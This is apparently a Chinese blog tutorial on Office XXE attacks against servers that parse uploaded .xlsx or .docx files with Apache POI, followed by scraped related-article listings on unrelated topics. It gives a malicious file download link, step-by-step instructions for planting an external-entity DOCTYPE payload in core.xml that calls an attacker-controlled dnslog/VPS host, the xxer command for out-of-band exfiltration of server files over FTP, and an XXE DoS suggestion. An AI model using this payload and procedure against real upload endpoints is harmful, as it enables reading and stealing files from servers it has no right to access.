Office XXE攻击
一、什么是Office XXE攻击
Office XXE攻击是xxe攻击的一种,由于.xlsx与.docx是基于xml文件存储内容的,后端在解析这些xml时自然也会存在xxe攻击的可能。
这里是.xlsx而不是.xls,是因为Excel有多种文件类型,xls是Excle 2003版本之前使用的文件格式,二进制的文件保存方式。Xlsx和xls就相差一个X字母,这里的X表示XML,相对于XLS,XLSX支持更多的功能,X也有扩展的意思。
与其说office xxe攻击不如说是利用Apache POI开源组件的CVE-2014-3529 、CVE-2014-3574、CVE-2017-5644这几个漏洞。具体见:https://bbs.huaweicloud.com/blogs/103994
攻击场景:网站允许上传xlsx或doc,服务器解析上传的文件获取文件内容。
二、恶意文件制作
1、下载恶意的excel文件,链接:https://pan.baidu.com/s/1iJU5Jbdsex1ZGp1jTkpY1Q?pwd=123p
2、修改后缀名为zip,解压文件得到如下文件

3、进入docProps文件夹,打开core.xml文件,修改如下地址为你的dnslog地址,保存退出插入时poc时注意xml文件格式,在`<?xml version="1.0" encoding="UTF-8"?>`后面插入
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://你的dnslog地址/ext.dtd">%aaa;%ccc;%ddd;]>

4、从新将这些文件压缩为zip文件,再修改后缀为.xlsx。就得到了恶意的excel文件。
三、获取网站数据
一般情况下offic xxe都是不回显的,只能外带数据。
外带数据需要根据网站使用的开发语言进行抉择。一般情况下大部分网站都是使用java。
对于java的站点可以使用p牛的一个项目。
https://github.com/phith0n/xxer
下载后使用python2运行:
python2 xxer.py -H vps_IP

默认情况下读取/tmp目录,根据操作系统或需求修改ext.dtd文件。注意:windows系统中不能列目录,因为存在文件的完整路径
演示项目为java-sec-code中的ooxml XXE :https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md
通过ftp协议成功读取到服务器/tmp目录下的文件

四、一些注意事项
1、修改为zip后缀,解压后会发现有很多文件,建议每个文件都插入poc,可能服务器去解析的时候触发点可能在其他文件
2、如果使用外带没收到请求,不妨试一下xxe dos
Office XXE攻击的更多相关文章
- 神奇的Content-Type——在JSON中玩转XXE攻击
大家都知道,许多WEB和移动应用都依赖于Client-Server的WEB通信交互服务.而在如SOAP.RESTful这样的WEB服务中,最常见的数据格式要数XML和JSON.当WEB服务使用XML或 ...
- 微信支付回调,XXE攻击漏洞防止方法
最近微信支付回调发现的XXE攻击漏洞(什么是XXE攻击,度娘.bing去搜,一搜一大把),收到通知后即检查代码, 微信给的解决方法是如果你使用的是: XmlDocument: XmlDocument ...
- 神奇的Content-Type--在JSON中玩转XXE攻击
转自:360安全播报http://bobao.360.cn/learning/detail/360.html 大家都知道,许多WEB和移动应用都依赖于Client-Server的WEB通信交互服务.而 ...
- XML External Entity attack/XXE攻击
XML External Entity attack/XXE攻击 1.相关背景介绍 可扩展标记语言(eXtensible Markup Language,XML)是一种标记语言,被设计用来传输和存 ...
- 【JAVA XXE攻击】微信支付官方回应XML外部实体注入漏洞
官方回应连接:https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5 其中明确指出了代码修改的地方. 然后看到此文档后,我就改公司项 ...
- XXE攻击
1.背景 现在很多应用都存在XXE(XML External Entity attack)漏洞,就是xml外部实体攻击,比如facebook,很多XML的解析器默认是含有XXE漏洞的. 2.xml的定 ...
- XXE攻击学习
环境:lAMP simplexml_load_string.php代码内容 <?php $data = file_get_contents('php://input'); $xml = simp ...
- 浅谈XXE攻击
一.XXE,即XML External Entity,XML外部实体.ENTITY 实体,在一个甚至多个XML文档中频繁使用某一条数据,我们可以预先定义一个这条数据的“别名”,即一个ENTITY,然后 ...
- blind xxe攻击
最近做啊里的题的时候遇到了 http://hivesec.net/web-security/%E5%85%B3%E4%BA%8Eblind-xxe.html
- XXE(外部实体注入攻击)
利用XXE漏洞可以进行拒绝服务攻击.文件读取.命令代码执行.SQL(XSS)注入.内外扫描端口和入侵内网站点等,内网探测和入侵是利用XXE中支持的协议进行内网主机和端口的发现,可以理解为使用XXE进行 ...
随机推荐
- mysql中使用sql语句统计日志计算每天的访问量
日志建表语句: CREATE TABLE `syslog` ( `syslogid` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(255) ...
- linux vim 无权限保存解决办法
通常在vim编辑文件时往往会忘记文件权限问题, 在wq保存时发现权限不足,这时候输入以下命令解决: w! sudo tee % 命令解析: w! {cmd} 指示 保存时执行额外命令: tee 用于将 ...
- [kafka]部署安装单节点
前言 kafka 3.0之前的版本需要依赖zookeeper,3.0版本之后可不依赖zookeeper. 基于zookeeper的安装步骤 节点IP:172.50.13.103 kafka版本:2.7 ...
- 【go笔记】使用标准库flag解析命令行参数
前言 Go语言标准库中提供了一个包flag可以解析命令行参数. 示例代码:文件读取 package main import ( "fmt" "flag" &qu ...
- Vue的数据更新,页面不更新的解决办法
可能原因 更新的数据跟源数据不是同一个,即不是同一个引用 解决办法 最稳妥的办法,可通过拿到源数据取索引的方式进行数据的更新,如: 有一个源数据叫:originData 那么如果在更新时,通过this ...
- Vue【原创】基于elementui的【分组多选下拉框group-select】
效果图: 如图分为多选模式和单选模式. group-select: 1 <template> 2 <div> 3 <el-select 4 v-model="i ...
- Web应用防火墙--规则防护
一.什么是Web应用防火墙? Web应用防火墙对网站.APP的业务流量安全及合规性保护,对业务流量的识别恶意特征提取.分析识别出恶意流量并进行处理, 将正常安全的流量回源到业务服务器, 保护网站核心业 ...
- Row Major
Smiling & Weeping ----昨天, 别人在我身旁大声说出你的名字, 这对于我, 像从敞开的窗口扔进了一朵玫瑰花. 思路:不客气地说,这是一道令人费解的题目,要求构造一个字符串, ...
- MySQL面试题——隔离级别相关面试题
隔离级别相关面试题 MySQL事务隔离级别 未提交读--可以读到其他事务未提交的数据(最新的版本) 错误现象:脏读.不可重复读.幻读的现象 提交读(RC)--可以读到其他事务已提交的数据(最新已提交的 ...
- 文心一言 VS 讯飞星火 VS chatgpt (93)-- 算法导论9.2 1题
一.用go语言,证明:在 RANDOMIZED-SELECT 中,对长度为0的数组,不会进行递归调用. 文心一言: 在 Go 语言中,我们可以通过实现一个函数来检查数组的长度,如果长度为0,则不进行递 ...